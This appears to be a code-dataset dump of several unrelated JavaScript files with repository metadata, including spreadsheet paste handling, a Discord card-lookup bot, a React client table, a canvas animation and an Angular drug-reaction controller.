CommonLogger.log("Table values have been modified.");
//process changes out of current flow to be able to call $apply on our changes
setTimeout(function () {
tableModel._handlePastedContent($scope);
}, 0);
}
);
};
TableModel.prototype._handlePastedContent = function ($scope) {
var tableModel = this;
var width = tableModel.getWidth();
var height = tableModel.getHeight();
//explicitly call $apply to apply the changes to the potentially focused content of the cell (probably, it's a workaround)
$scope.$apply(function () {
var pastedContent = [];
var originalPastedWidth = 0;
var originalPastedHeight = 0;
var pastedAtX = 0;
var pastedAtY = 0;
var lastColumn = width - 1;
for (var y = 0; y < height; y++) {
for (var x = 0; x < width; x++) {
if (pastedContent.length == 0) {
var cellValue = tableModel.getItemValueAtXY(x, y);
if (cellValue) {
//detect if this is a table-based content
function getRows(cellValue) {
var index = 0;
var escapes = ["\"\n", "\"\t"];
var newCellValue = "";
var newEscapeSymbol = " ";
while (index < cellValue.length) {
if (cellValue[index] == "\"") {
var multilineRow = "";
while (index < cellValue.length - 1 && $.inArray(
multilineRow[multilineRow.length - 1] + cellValue[index + 1],
escapes
) == -1) {
multilineRow += cellValue[index];
index++;
if (cellValue.length < index + 1) {
break;
}
}
multilineRow += cellValue[index];
newCellValue +=
multilineRow.slice(1, multilineRow.length - 1)
.replace(/\r\n|\r|\n/g, newEscapeSymbol)
.replace(/""/g, "\'");
index++;
} else {
newCellValue += cellValue[index];
index++;
}
}
return newCellValue.split(/\r\n|\r|\n/g, height);
}
var rows = getRows(cellValue);
$.each(rows, function (index, item) {
//row columns are split with tabs if pasted from Excel
var columns = item.split("\t", width);
pastedContent.push(columns);
});
originalPastedWidth = pastedContent[0].length;
originalPastedHeight = pastedContent.length;
pastedAtX = x;
pastedAtY = y;
CommonLogger.log("The pasted content is: " + JSON.stringify(pastedContent));
}
}
if (pastedContent.length != 0
&& x >= pastedAtX && y >= pastedAtY
&& x - pastedAtX < originalPastedWidth && y - pastedAtY < originalPastedHeight) {
//pick the value from the left top corner of pasted content and remove it from the pasted content data
var value = pastedContent[0][0];
tableModel.setItemValueAtXY(x, y, value);
pastedContent[0].splice(0, 1);
if (pastedContent[0].length == 0 || x == lastColumn) {
pastedContent.splice(0, 1);
}
}
}
}
});
};
function parsePaste(text) {
var rows = [];
var STATE_HANDLER = {
MULTICELL: function (text, symbol) {
text.substr();
},
NORMAL: function (text) {
}
};
}
| 38.114094 | 126 | 0.440571 |
062cd2814db182ca33fd2ac0a7cd999fcf103e2e | 1,734 | js | JavaScript | server.js | AllenHunn/discord-ufs-card-bot | 9539c42a665f0d97b2fbba418773c1e61c7968ff | [
"MIT"
] | null | null | null | server.js | AllenHunn/discord-ufs-card-bot | 9539c42a665f0d97b2fbba418773c1e61c7968ff | [
"MIT"
] | null | null | null | server.js | AllenHunn/discord-ufs-card-bot | 9539c42a665f0d97b2fbba418773c1e61c7968ff | [
"MIT"
] | null | null | null | var Discord = require("discord.io");
var logger = require("winston");
var auth = require("./auth.json");
var request = require("request");
var cheerio = require("cheerio");
// Configure logger settings
logger.remove(logger.transports.Console);
logger.add(logger.transports.Console, {
colorize: true
});
logger.level = "debug";
// Initialize Discord Bot
var bot = new Discord.Client({
token: auth.token,
autorun: true
});
bot.on("ready", function(evt) {
logger.info("Connected");
logger.info("Logged in as: ");
logger.info(bot.username + " - (" + bot.id + ")");
});
bot.on("message", function(user, userID, channelID, message, evt) {
if (message.substring(0, 1) == "!") {
var args = message.substring(1).split(" ");
var cmd = args[0];
args = args.splice(1);
switch (cmd) {
case "card":
request("http://ufsultra.com/?q=" + args.join(' '), function(err, resp, html) {
if (!err) {
const $ = cheerio.load(html);
if ($("#content .mini_image").attr("src") === undefined){
bot.sendMessage({ to: channelID, message: args.join(' ') + " not found"});
return;
}
var cardImage =
"http://ufsultra.com/" +
$("#content .mini_image")
.attr("src")
.replace("mini", "preview");
var directLink =
"http://ufsultra.com/" +
$("#content .card_division a")
.last()
.attr("href");
bot.sendMessage({ to: channelID, message: cardImage });
bot.sendMessage({ to: channelID, message: directLink });
}
});
break;
default:
}
}
});
| 27.52381 | 90 | 0.530565 |
062dc8075501f680818b4d87dc9a408dc6a80943 | 397 | js | JavaScript | dist/js/resources.js | allenlili/arcade-game | 83abe6d4985d970b657a074eb0cb754094e06751 | [
"MIT"
] | null | null | null | dist/js/resources.js | allenlili/arcade-game | 83abe6d4985d970b657a074eb0cb754094e06751 | [
"MIT"
] | null | null | null | dist/js/resources.js | allenlili/arcade-game | 83abe6d4985d970b657a074eb0cb754094e06751 | [
"MIT"
] | null | null | null | !function(){var r={},t=[];function o(n){if(r[n])return r[n];var o=new Image;o.onload=function(){r[n]=o,a()&&t.forEach(function(n){n()})},r[n]=!1,o.src=n}function a(){var n=!0;for(var o in r)r.hasOwnProperty(o)&&!r[o]&&(n=!1);return n}window.Resources={load:function(n){n instanceof Array?n.forEach(function(n){o(n)}):o(n)},get:function(n){return r[n]},onReady:function(n){t.push(n)},isReady:a}}(); | 397 | 397 | 0.649874 |
062e8adf0a2fce25fd6e566b05b5549ff39b75f2 | 2,074 | js | JavaScript | react/src/views/ClientesLista/components/Results/Results.js | allandemiranda/doucemaria | a0ba6c7acb3b49633c7b23d2bdf3a123468ea227 | [
"MIT"
] | null | null | null | react/src/views/ClientesLista/components/Results/Results.js | allandemiranda/doucemaria | a0ba6c7acb3b49633c7b23d2bdf3a123468ea227 | [
"MIT"
] | null | null | null | react/src/views/ClientesLista/components/Results/Results.js | allandemiranda/doucemaria | a0ba6c7acb3b49633c7b23d2bdf3a123468ea227 | [
"MIT"
] | null | null | null | /* eslint-disable react/display-name */
/* eslint-disable react/no-multi-comp */
/* eslint-disable react/jsx-closing-bracket-location */
/* eslint-disable react/jsx-no-undef */
import React from 'react';
import clsx from 'clsx';
import PropTypes from 'prop-types';
import { makeStyles } from '@material-ui/styles';
import MaterialTable from 'material-table';
import { CustomerInfo } from './components';
const useStyles = makeStyles(theme => ({
root: {},
content: {
padding: 0
},
inner: {
minWidth: 700
},
nameCell: {
display: 'flex',
alignItems: 'center'
},
avatar: {
height: 42,
width: 42,
marginRight: theme.spacing(1)
},
actions: {
padding: theme.spacing(1),
justifyContent: 'flex-end'
}
}));
const Results = props => {
const { className, clientes, ...rest } = props;
const classes = useStyles();
return (
<div
{...rest}
className={clsx(classes.root, className)}
>
<MaterialTable
columns={[
{ title: 'Nº Cartão', field: 'cartao' },
{ title: 'Nome', field: 'nome' },
{ title: 'Telefone', field: 'telefone' },
{ title: 'Compras', field: 'compras' },
{ title: 'Status', field: 'status' },
{ field: 'adicionar' },
{ field: 'editar' },
]}
data={clientes}
detailPanel={[
{
tooltip: 'Endereço',
render: (rowData) => {
return <CustomerInfo
className={classes.results}
endereco={rowData.endereco}
/>
}
}
]}
options={{
rowStyle: (rowData) => {
if (rowData.status === 'Premiado') {
return { backgroundColor: '#80c904' };
}
},
exportButton: true
}}
title="Lista de Clientes"
/>
</div>
);
};
Results.propTypes = {
className: PropTypes.string,
clientes: PropTypes.array.isRequired
};
Results.defaultProps = {
clientes: []
};
export default Results;
| 22.543478 | 55 | 0.535198 |
062ead074d164fc2f802c8c51c4ead0b9b2941ac | 3,511 | js | JavaScript | animation.js | phoenixstormcrow/trees | b5eca066dde9dcbce17d86a9947f6e9e368c48b1 | [
"MIT"
] | 1 | 2018-12-02T21:20:46.000Z | 2018-12-02T21:20:46.000Z | animation.js | phoenixstormcrow/trees | b5eca066dde9dcbce17d86a9947f6e9e368c48b1 | [
"MIT"
] | null | null | null | animation.js | phoenixstormcrow/trees | b5eca066dde9dcbce17d86a9947f6e9e368c48b1 | [
"MIT"
] | null | null | null | /* animation.js
the animation logic for our trees animation
*/
module.exports = function animation(canvas, model) {
return {
model: model,
displayCanvas: canvas,
displayContext: canvas.getContext('2d'),
init: function () {
this.paused = true;
/* set up the canvas */
this.displayCanvas.width = window.innerWidth;
this.displayCanvas.height = window.innerHeight;
this.canvas = document.createElement('canvas'); // off-screen canvas
this.context = this.canvas.getContext('2d');
this.canvas.width = this.displayCanvas.width;
this.canvas.height = this.displayCanvas.height;
/* we want the tree drawn to the off-screen canvas */
this.model.init(this.canvas);
this.displayCanvas.addEventListener('click', (function (e) {
this.toggle();
}).bind(this));
this.context.save(); // save here to clear later
this.reset();
/* display instructions */
this.instructions();
},
toggle: function () {
if (this.paused) {
this.start();
} else {
this.pause();
}
},
clear: function () {
this.displayContext.clearRect(0, 0, this.displayCanvas.width, this.displayCanvas.height);
/* I'm assuming we're one transform from the bottom
of the stack. This seems dangerous. Unfortunately,
I don't have access to either the current transformation matrix,
or the stack of transforms, so until I decide to extend the canvas
with transform tracking, I'll let this go, because it's working.
*/
this.context.restore();
this.context.clearRect(0, 0, this.canvas.width, this.canvas.height);
this.context.save(); // save here to clear later
},
reset: function () {
this.clear();
/* + 0.5 translation ensures we get crisp lines */
this.context.translate(Math.floor(this.canvas.width / 2) + 0.5,
Math.floor(this.canvas.height / 2) + 0.5);
this.context.rotate(-Math.PI / 2);
},
instructions: function () {
/* write some words */
this.displayContext.save();
this.displayContext.translate(this.displayCanvas.width / 2, this.displayCanvas.height / 2);
this.displayContext.fillStyle = 'rgba(255, 255, 255, 0.5)';
this.displayContext.font = '48px sans';
this.displayContext.textAlign = 'center';
this.displayContext.fillText('click', 0, 0);
this.displayContext.restore();
},
start: function () {
// these could be private
this.paused = false;
this.reqId = window.requestAnimationFrame(this.tick.bind(this));
},
pause: function () {
this.paused = true;
window.cancelAnimationFrame(this.reqId);
},
blit: function () {
/* throw it all up on screen */
this.displayContext.drawImage(this.canvas, 0, 0);
},
tick: function () {
this.reset();
model.draw(); // this draws to the off-screen canvas
this.blit();
this.reqId = window.requestAnimationFrame(this.tick.bind(this));
},
};
};
| 37.752688 | 103 | 0.545998 |
0630337caed5e02c98fa661aef1e543bd1b95efe | 831 | js | JavaScript | landing/src/components/layout.js | williamlagos/boxer | e96edbc309139e7398915635bdecead21c35f605 | [
"MIT"
] | null | null | null | landing/src/components/layout.js | williamlagos/boxer | e96edbc309139e7398915635bdecead21c35f605 | [
"MIT"
] | 1 | 2020-04-24T22:36:22.000Z | 2020-04-24T22:36:22.000Z | landing/src/components/layout.js | efforia/boxer | e96edbc309139e7398915635bdecead21c35f605 | [
"MIT"
] | null | null | null | import React from "react"
import "../styles/normalize.css"
import "../styles/skeleton.css"
import "../styles/landing.css"
import Footer from "./Footer";
class Template extends React.Component {
constructor(props) {
super(props);
this.state = {
loading: 'is-loading'
}
}
componentDidMount () {
this.timeoutId = setTimeout(() => {
this.setState({loading: ''});
}, 100);
}
componentWillUnmount () {
if (this.timeoutId) {
clearTimeout(this.timeoutId);
}
}
render() {
const { children } = this.props;
return (
<div className={`body landing-page landing-page-1 ${this.state.loading}`}>
{children}
<Footer />
</div>
);
}
}
export default Template;
| 19.785714 | 86 | 0.535499 |
0630461f39e01e57b98e724b395bc11548ccf6b0 | 16,369 | js | JavaScript | o2server/servers/webServer/x_component_service_AgentDesigner/Agent.js | huangxinping/o2oa | 0193f18595e0c5be054c21742b62c8fa477f350f | [
"Apache-2.0"
] | null | null | null | o2server/servers/webServer/x_component_service_AgentDesigner/Agent.js | huangxinping/o2oa | 0193f18595e0c5be054c21742b62c8fa477f350f | [
"Apache-2.0"
] | null | null | null | o2server/servers/webServer/x_component_service_AgentDesigner/Agent.js | huangxinping/o2oa | 0193f18595e0c5be054c21742b62c8fa477f350f | [
"Apache-2.0"
] | null | null | null | MWF.xApplication = MWF.xApplication || {};
MWF.xApplication.service = MWF.xApplication.service || {};
MWF.xApplication.service.AgentDesigner = MWF.xApplication.service.AgentDesigner || {};
MWF.SRVAD = MWF.xApplication.service.AgentDesigner;
MWF.require("MWF.widget.Common", null, false);
MWF.xDesktop.requireApp("service.AgentDesigner", "lp."+MWF.language, null, false);
MWF.require("MWF.widget.JavascriptEditor", null, false);
MWF.xApplication.service.AgentDesigner.Agent = new Class({
Extends: MWF.widget.Common,
Implements: [Options, Events],
options: {
"style": "default",
"showTab": true
},
initialize: function(designer, data, options){
this.setOptions(options);
this.path = "../x_component_service_AgentDesigner/$Agent/";
this.cssPath = "../x_component_service_AgentDesigner/$Agent/"+this.options.style+"/css.wcss";
this._loadCss();
this.isChanged = false;
this.designer = designer;
this.data = data;
if (!this.data.text) this.data.text = "";
this.node = this.designer.designNode;
this.tab = this.designer.agentTab;
this.areaNode = new Element("div", {"styles": {"overflow": "hidden", "height": "700px"}});
//this.propertyIncludeNode = this.designer.propertyDomArea;
this.propertyNode = this.designer.propertyContentArea;
this.isNewAgent = (this.data.id) ? false : true;
// this.createProperty();
this.autoSave();
this.designer.addEvent("queryClose", function(){
if (this.autoSaveTimerID) window.clearInterval(this.autoSaveTimerID);
}.bind(this));
},
autoSave: function(){
this.autoSaveTimerID = window.setInterval(function(){
if (!this.autoSaveCheckNode) this.autoSaveCheckNode = this.designer.contentToolbarNode.getElement("#MWFAgentAutoSaveCheck");
if (this.autoSaveCheckNode){
if (this.autoSaveCheckNode.get("checked")){
if (this.isChanged) this.saveSilence();
}
}
}.bind(this), 60000);
},
//createProperty: function(){
// this.agentPropertyNode = new Element("div", {"styles": this.css.agentPropertyNode}).inject(this.propertyNode);
//},
load : function(){
this.setAreaNodeSize();
this.designer.addEvent("resize", this.setAreaNodeSize.bind(this));
this.page = this.tab.addTab(this.areaNode, this.data.name || this.designer.lp.newAgent, (!this.data.isNewAgent && this.data.id!=this.designer.options.id));
this.page.agent = this;
this.page.addEvent("show", function(){
this.designer.agentListAreaNode.getChildren().each(function(node){
var scrtip = node.retrieve("agent");
if (scrtip.id==this.data.id){
if (this.designer.currentListAgentItem){
this.designer.currentListAgentItem.setStyles(this.designer.css.listAgentItem);
}
node.setStyles(this.designer.css.listAgentItem_current);
this.designer.currentListAgentItem = node;
this.lisNode = node;
}
}.bind(this));
this.designer.currentScript = this;
this.setPropertyContent();
//this.setIncludeNode();
if (this.editor.editor){
this.editor.editor.focus();
//this.editor.editor.navigateFileStart();
}
}.bind(this));
this.page.addEvent("queryClose", function(){
if (this.autoSaveTimerID) window.clearInterval(this.autoSaveTimerID);
//this.saveSilence();
if (this.lisNode) this.lisNode.setStyles(this.designer.css.listAgentItem);
}.bind(this));
this.page.tabNode.addEvent("dblclick", this.designer.maxOrReturnEditor.bind(this.designer));
this.editor = new MWF.widget.JavascriptEditor(this.areaNode, {"runtime": "service"});
this.editor.load(function(){
if (this.data.text){
this.editor.editor.setValue(this.data.text);
}else{
// var defaultText = "/********************\n";
// defaultText += "resources.getEntityManagerContainer(); //实体管理器\n";
// defaultText += "resources.getContext(); //上下文根\n";
// defaultText += "resources.getOrganization(); //组织访问\n";
// defaultText += "resources.getWebservicesClient();//webSerivces客户端\n";
// defaultText += "********************/\n";
var defaultText = "/********************\n";
defaultText += "this.entityManager; //实体管理器\n";
defaultText += "this.applications; //访问系统内服务\n";
defaultText += "this.organization; //组织访问\n";
defaultText += "this.org; //组织快速访问方法\n";
defaultText += "this.service; ///webSerivces客户端\n";
defaultText += "********************/\n";
this.editor.editor.setValue(defaultText);
}
this.editor.addEditorEvent("change", function(){
if (!this.isChanged){
this.isChanged = true;
this.page.textNode.set("text", " * "+this.page.textNode.get("text"));
}
}.bind(this));
// this.editor.editor.on("change", function(e){
// if (!this.isChanged){
// this.isChanged = true;
// this.page.textNode.set("text", " * "+this.page.textNode.get("text"));
// }
// }.bind(this));
this.editor.addEvent("save", function(){
this.save();
}.bind(this));
// this.editor.addEvent("reference", function(editor, e, e1){
// if (!this.agentReferenceMenu){
// MWF.require("MWF.widget.ScriptHelp", function(){
// this.agentReferenceMenu = new MWF.widget.ScriptHelp(null, this.editor.editor, {
// "onPostLoad": function(){
// this.showReferenceMenu();
// }.bind(this)
// });
// this.agentReferenceMenu.getEditor = function(){return this.editor.editor;}.bind(this)
// }.bind(this));
// }else{
// this.showReferenceMenu();
// }
// }.bind(this));
var options = this.designer.styleSelectNode.options;
for (var i=0; i<options.length; i++){
var option = options[i];
if (option.value==this.editor.theme){
option.set("selected", true);
break;
}
}
var options = this.designer.fontsizeSelectNode.options;
for (var i=0; i<options.length; i++){
var option = options[i];
if (option.value==this.editor.fontSize){
option.set("selected", true);
break;
}
}
options = this.designer.editorSelectNode.options;
for (var i=0; i<options.length; i++){
var option = options[i];
if (option.value==this.editor.options.type){
option.set("selected", true);
break;
}
}
options = this.designer.monacoStyleSelectNode.options;
for (var i=0; i<options.length; i++){
var option = options[i];
if (option.value==this.editor.theme){
option.set("selected", true);
break;
}
}
if (this.editor.options.type=="ace"){
this.designer.monacoStyleSelectNode.hide();
this.designer.styleSelectNode.show();
}else{
this.designer.monacoStyleSelectNode.show();
this.designer.styleSelectNode.hide();
}
}.bind(this));
if (this.options.showTab) this.page.showTabIm();
},
showReferenceMenu: function(){
var pos = this.editor.getCursorPixelPosition();
var e = {"page": {}};
e.page.x = pos.left;
e.page.y = pos.top;
this.agentReferenceMenu.menu.showIm(e);
},
setIncludeNode: function(){
this.designer.propertyIncludeListArea.empty();
this.data.dependAgentList.each(function(name){
this.designer.addIncludeToList(name);
}.bind(this));
},
setPropertyContent: function(){
this.designer.propertyIdNode.set("text", this.data.id || "");
this.designer.propertyNameNode.set("value", this.data.name || "");
this.designer.propertyAliasNode.set("value", this.data.alias || "");
this.designer.propertyEnableNode.set("text", this.data.enable ? this.designer.lp.true : this.designer.lp.false );
this.designer.propertyCronNode.set("value", this.data.cron || "");
this.designer.cronValue = this.data.cron || "";
//this.designer.cronPicker.setCronValue( this.data.cron || "" );
this.designer.propertyLastStartTimeNode.set("text", this.data.lastStartTime || "");
this.designer.propertyLastEndTimeNode.set("text", this.data.lastEndTime || "");
//this.designer.propertyAppointmentTimeNode.set("text", this.data.appointmentTime || "");
this.designer.propertyDescriptionNode.set("value", this.data.description || "");
this.setButton()
},
setButton : function(){
this.designer.propertyEnableButton.store("id", this.data.id);
this.designer.propertyDisableButton.store("id", this.data.id);
if( this.data.enable ){
this.designer.propertyEnableButton.setStyle("display","none");
this.designer.propertyDisableButton.setStyle("display", this.data.isNewAgent ? "none" : "" );
}else{
this.designer.propertyEnableButton.setStyle("display",this.data.isNewAgent ? "none" : "");
this.designer.propertyDisableButton.setStyle("display", "none" );
}
},
setAreaNodeSize: function(){
var size = this.node.getSize();
var tabSize = this.tab.tabNodeContainer.getSize();
var y = size.y - tabSize.y;
this.areaNode.setStyle("height", ""+y+"px");
//if (this.editor) if (this.editor.editor) this.editor.editor.resize();
if (this.editor) this.editor.resize(y);
},
addInclude: function(){
},
saveAgent: function (data, success, failure) {
if (data.isNewAgent) {
this.designer.actions.createAgent(data, success, failure);
} else {
this.designer.actions.updateAgent(data.id, data, success, failure);
}
},
save: function(callback){
if (!this.isSave){
/*var session = this.editor.editor.getSession();
var annotations = session.getAnnotations();
var validated = true;
for (var i=0; i<annotations.length; i++){
if (annotations[i].type=="error"){
validated = false;
break;
}
}*/
var validated = this.editor.validated();
var name = this.designer.propertyNameNode.get("value");
var alias = this.designer.propertyAliasNode.get("value");
var description = this.designer.propertyDescriptionNode.get("value");
var cron = this.designer.propertyCronNode.get("value");
if (!name){
this.designer.notice(this.designer.lp.notice.inputName, "error");
return false;
}
if(!cron){
this.designer.notice(this.designer.lp.notice.inputCron, "error");
return false;
}
this.data.name = name;
this.data.alias = alias;
this.data.description = description;
this.data.cron = cron;
this.data.validated = validated;
this.data.text = this.editor.editor.getValue();
this.isSave = true;
this.saveAgent(this.data, function(json){
this.isSave = false;
if( this.data.isNewAgent ){
this.data.isNewAgent = false;
this.setButton();
}
this.isChanged = false;
this.page.textNode.set("text", this.data.name);
if (this.lisNode) {
this.lisNode.getLast().set("text", this.data.name);
}
this.designer.notice(this.designer.lp.notice.save_success, "success", this.node, {"x": "left", "y": "bottom"});
this.data.id = json.data.id;
this.designer.propertyIdNode.set("text", this.data.id );
if (callback) callback();
}.bind(this), function(xhr, text, error){
this.isSave = false;
var errorText = error+":"+text;
if (xhr) errorText = xhr.responseText;
MWF.xDesktop.notice("error", {x: "right", y:"top"}, "request json error: "+errorText);
}.bind(this));
}else{
MWF.xDesktop.notice("info", {x: "right", y:"top"}, this.designer.lp.isSave);
}
},
saveSilence: function(callback){
if (!this.isSave){
var session = this.editor.editor.getSession();
var annotations = session.getAnnotations();
var validated = true;
for (var i=0; i<annotations.length; i++){
if (annotations[i].type=="error"){
validated = false;
break;
}
}
if( this.designer.currentScript == this ){
var name = this.designer.propertyNameNode.get("value");
var alias = this.designer.propertyAliasNode.get("value");
var description = this.designer.propertyDescriptionNode.get("value");
var cron = this.designer.propertyCronNode.get("value");
if (!name){
this.designer.notice(this.designer.lp.notice.inputName, "error");
return false;
}
if(!cron){
this.designer.notice(this.designer.lp.notice.inputCron, "error");
return false;
}
this.data.name = name;
this.data.alias = alias;
this.data.description = description;
this.data.cron = cron;
this.data.validated = validated;
}
this.data.text = this.editor.editor.getValue();
this.isSave = true;
this.saveAgent(this.data, function(json){
this.isSave = false;
if( this.data.isNewAgent ){
this.data.isNewAgent = false;
if( this.designer.currentScript == this ) {
this.setButton();
}
}
this.data.isNewAgent = false;
this.isChanged = false;
this.page.textNode.set("text", this.data.name);
if (this.lisNode) {
this.lisNode.getLast().set("text", this.data.name);
}
this.data.id = json.data.id;
if( this.designer.currentScript == this ) {
this.designer.propertyIdNode.set("text", this.data.id);
}
if (callback) callback();
}.bind(this), function(xhr, text, error){
this.isSave = false;
//
//var errorText = error+":"+text;
//if (xhr) errorText = xhr.responseText;
//MWF.xDesktop.notice("error", {x: "right", y:"top"}, "request json error: "+errorText);
}.bind(this));
}else{
MWF.xDesktop.notice("info", {x: "right", y:"top"}, this.designer.lp.isSave);
}
},
saveAs: function(){},
explode: function(){},
implode: function(){}
});
| 41.971795 | 163 | 0.531187 |
06319c3ada3760fcfbcf149f2bfadc142cc083f1 | 12,299 | js | JavaScript | ismApp/app/controllers/AdvReaction2.js | wemakefocus/ismApp | b92392141e08f140a0f402cfc75608cdf71f597d | [
"Apache-2.0"
] | null | null | null | ismApp/app/controllers/AdvReaction2.js | wemakefocus/ismApp | b92392141e08f140a0f402cfc75608cdf71f597d | [
"Apache-2.0"
] | null | null | null | ismApp/app/controllers/AdvReaction2.js | wemakefocus/ismApp | b92392141e08f140a0f402cfc75608cdf71f597d | [
"Apache-2.0"
] | null | null | null | /**
* Created by think on 2016/11/3.
*/
'use strict';
angular.module('app').controller('AdvReaction2',AdvReaction2 );
function AdvReaction2($scope,$http, $rootScope, $location) {
var vm = $scope.vm = {};
$rootScope.pageLoading = false;
// 供页面中使用的函数
//$http.get("http://202.117.54.88:9999/adr/getDrug/?q={%22Disease%22:%22%E6%84%9F%E5%86%92%22,%22Pid%22:6}")
/* $http.get("http://59.110.52.133:9999/adr/getPids/").success(function(response)
{
vm.IdForSelect=response.Results.Pids;
}
);*/
vm.IdForSelect=["1","2","3","4","5","6"];
vm.Select=function(){
vm.PatientId=[];
vm.items=[];
vm.Info=[];
vm.DisplayedItems=[];
vm.WaitingForDelete=[];
if (vm.value!=null)
{
$http.get('http://59.110.52.133:3010/api/transfer/?q={"path":"/adr/getDrug","params":{%22Disease%22:%22%E6%84%9F%E5%86%92%22,%22Pid%22:'+vm.value+'}}')
.success(function(response){
console.log(response);
vm.patient=response.Results;
console.log(vm.patient);
/* for (var i=0;i<vm.Allpatient.length;i++)
{
vm.PatientId.push(vm.Allpatient[i].Results.PatientInfo);
console.log(vm.Allpatient[i]);
}
vm.click=function(){console.log( vm.value)};*/
// 构建模拟数据
vm.columns = [
{
label: '药品名',
name: 'name',
type: 'string'
},
{
label: '生产厂商',
name: 'manufacturer',
type: 'string'
},
{
label: '适应症',
name: 'indication',
type: 'string'
},
/*{
label: '禁忌',
name: 'taboo',
type: 'string'
},*/
{
label: '详情',
name: 'actions',
sortable: false
}
];
//此函数用于判断是否展示患者信息
vm.Display=function()
{
if(vm.value==null)
{return false;}
else
{return true;}
};
//此函数用于判断病人的选择
//根据选择病人不同,加载不同数据
vm.Change=function(){
console.log(vm.value);
vm.DisplayedItems=[];
vm.WaitingForDelete=[];
vm.items=vm.patient.Drugs;
vm.Info=vm.patient.PatientInfo;};
vm.Change();
//对条目颜色进行赋值
for (var i=0;i<vm.items.length;i++)
{
if(vm.items[i].Selectable===-1)
{vm.items[i].color="#FFB5B5";}
else if(vm.items[i].Selectable===0)
{vm.items[i].color="#BEBEBE";}
else
{vm.items[i].color="#ffffff";}
}
//通过这个过程,对条目增加一个熟悉model,来决定是否出现警告弹窗
for (var i=0;i<vm.items.length;i++)
{
if(vm.items[i].Selectable===1)
{vm.items[i].model=null;}
else
{vm.items[i].model=vm.items[i].Xid;}
}
console.log(vm.items);
//$scope.$apply();
//实现全选
vm.checkAll = function(checked) {
angular.forEach(vm.items, function(item) {
item.$checked = checked;
});};
//对所有安全的可用于替代的药品的全选
vm.SafecheckAll = function(checked) {
angular.forEach(vm.items, function(item) {
item.$Safechecked = checked;
});};
//展示选择的药品
vm.selection = function() {
return _.where(vm.items, {$checked: true});
};
vm.Indstring=function(Indication){
if (Indication.length>36)
{
return(Indication.slice(0,35)+"...");
}
else {return Indication;}
};
vm.Manustring=function(Manufacturer){
if(Manufacturer===null)
{return "Miss Manufaturer";}
else if (Manufacturer.length>10)
{
return(Manufacturer.slice(0,9));
}
else
{return Manufacturer;}
};
//这个函数用来记录我试图替代哪个药品
vm.getIndex=function(line){
vm.WaitingForDelete=[];
vm.WaitingForDelete.push(line);
};
//这个函数可以在我确定替代方案后,删除原本的会引起不良反应的药品
/* vm.DeleteThis=function(){
vm.removeFromList(vm.WaitingForDelete[0]);
};*/
//这个函数用于格式转换,它将得到的对象数组进行一些处理,包括对selectable的判断,以及条目的查重等
vm.Fixed = function(Itemlist,Dislist){
for (var i=0;i<Itemlist.length;i++)
{
var objforDis={};
objforDis.Xid=Itemlist[i].Xid;
objforDis.Name=Itemlist[i].Name;
if(Itemlist[i].Selectable===1)
{objforDis.Selectable="安全药品,推荐";
objforDis.color="#003D79";}
else if(Itemlist[i].Selectable===0)
{objforDis.Selectable="不确定安全性";
objforDis.color="#5B5B5B";}
else
{objforDis.Selectable="不安全,不推荐";
objforDis.color="#AE0000";}
objforDis.Reason=Itemlist[i].Reason;
objforDis.Num=1;
if(Itemlist[i].Reason===[])
{ objforDis.Reason="无";}
else
{objforDis.Reason=Itemlist[i].Reason;}
if(Dislist.length===0)
{Dislist.push(objforDis);}
else{
for(var j=0;j<Dislist.length;j++)
{
if(Dislist[j].Xid!==objforDis.Xid)
{continue;}
else
{Dislist[j].Num++;break;}
}
if (j===Dislist.length)
{Dislist.push(objforDis);}
}
console.log(Dislist);
}};
//这个函数是重新生成病人药品清单的,会清除目前的药品清单,重新展示已选择的药品条目
/* vm.Add =function(){
vm.DisplayedItems=[];
vm.SelectedItems=_.where(vm.items, {$checked: true});
angular.forEach(vm.items,function(item){item.$checked = false;});
vm.Fixed(vm.SelectedItems,vm.DisplayedItems);
console.log(vm.DisplayedItems);
console.log(vm.filter.$);
};*/
//这个函数用来添加这一行药品
vm.AddLine=function(line)
{
vm.Line=[];
vm.Line.push(line);
vm.Fixed(vm.Line,vm.DisplayedItems);
};
//这是一个判断函数,决定了是否可以直接将药品加入清单,而不产生弹窗
vm.AddAdjust=function(line){
vm.Line=[];
vm.Line.push(line);
if (line.model==null)
{vm.Fixed(vm.Line,vm.DisplayedItems);}
};
//这个函数是仅仅将选择的条目加入到病人药品清单中,而不清除原有的条目,和上面的vm.Add有一点区别
/* vm.JustAdd=function(){
vm.SelectedItems=_.where(vm.items, {$checked: true});
angular.forEach(vm.items,function(item){item.$checked = false;});
vm.Fixed(vm.SelectedItems,vm.DisplayedItems);
console.log(vm.DisplayedItems);
};*/
//删除条目
vm.removeFromList = function(line) {
vm.DisplayedItems = _.reject(vm.DisplayedItems, function(item){ return line.Xid === item.Xid;});
};
//这个函数用于展示所有安全的药品
vm.WishSub=function()
{
vm.SafeItems= _.filter(vm.items,function(item){return item.Selectable===1;});
};
//这个是用于生成替代方案的
vm.Switch=function(){
vm.SubItems= _.where(vm.SafeItems, {$Safechecked: true});
if(vm.SubItems!==[])
{angular.forEach(vm.SafeItems,function(item){item.$Safechecked = false;});
vm.Fixed(vm.SubItems,vm.DisplayedItems);
vm.removeFromList(vm.WaitingForDelete[0]);}
};
//减少药品数目
vm.decrementQuantity=function(line)
{line.Num--;
if(line.Num===0)
{vm.removeFromList(line);}
};
//增加药品数目
vm.incrementQuantity=function(line)
{line.Num++;};
//确定初始备选药品清单的规格
vm.page = {
size: 5,
index: 1
};
vm.sort = {
column: 'id',
direction: -1,
toggle: function(column) {
if (column.sortable === false)
return;
if (this.column === column.name) {
this.direction = -this.direction || -1;
} else {
this.column = column.name;
this.direction = -1;
}
}
};});
//console.log(vm.items);
//console.log(vm.patient);
}
else
{
vm.filter.$=null;
vm.items=[];
vm.Info=[];
vm.DisplayedItems=[];
vm.WaitingForDelete=[];
}
};
}
| 37.611621 | 163 | 0.337507 |
0631cd57a2546b9b48336a02981380e443288dd0 | 412 | js | JavaScript | index.js | Richienb/get-url-title | 13ece4146f336e52f88480fd33333ba79c2215cf | [
"MIT"
] | 2 | 2020-01-06T07:56:06.000Z | 2020-04-07T02:03:07.000Z | index.js | Richienb/get-url-title | 13ece4146f336e52f88480fd33333ba79c2215cf | [
"MIT"
] | 22 | 2020-01-26T23:16:11.000Z | 2020-09-12T11:58:03.000Z | index.js | Richienb/get-url-title | 13ece4146f336e52f88480fd33333ba79c2215cf | [
"MIT"
] | null | null | null | "use strict"
const isUrl = require("is-url-superb")
const metascraper = require("metascraper")([
require("metascraper-title")()
])
const ky = require("ky-universal").create({
throwHttpErrors: false
})
module.exports = async url => {
if (!isUrl(url)) {
throw new TypeError("A valid url must be provided!")
}
